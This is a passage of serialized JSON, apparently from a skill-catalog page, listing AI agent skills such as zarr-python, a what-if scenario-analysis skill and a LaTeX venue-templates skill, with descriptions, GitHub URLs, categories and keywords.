o":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":167,"categories":168,"keywords":173,"publishedAt":52},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[169,170,171,172],{"categoryNo":125,"categoryName":126,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":128,"categoryName":129,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":131,"categoryName":132,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":134,"categoryName":135,"taxonomyType":29,"taxonomyTypeDesc":30},[119,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155],{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":180,"publishedAt":52},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[181,182,183,184,185,186,187,188,189,190,191,192,193,194,195],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":203,"publishedAt":52},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[202],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[204,205,206,207,208,209,210,211,212,213,214,148,149,215,216,217,218,219,220,221],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":223,"name":224,"nameZh":6,"description":225,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":121,"licenseFileUrl":6,"sourceHtmlUrl":226,"categories":227,"keywords":238,"publishedAt":52},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[228,231,234,235],{"categoryNo":229,"categoryName":230,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":232,"categoryName":233,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":236,"categoryName":237,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000036","内容创作者",[239,240,241,242,243,244,245,246,145,247,148,149,150,248,249,250,251,252,195,253],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]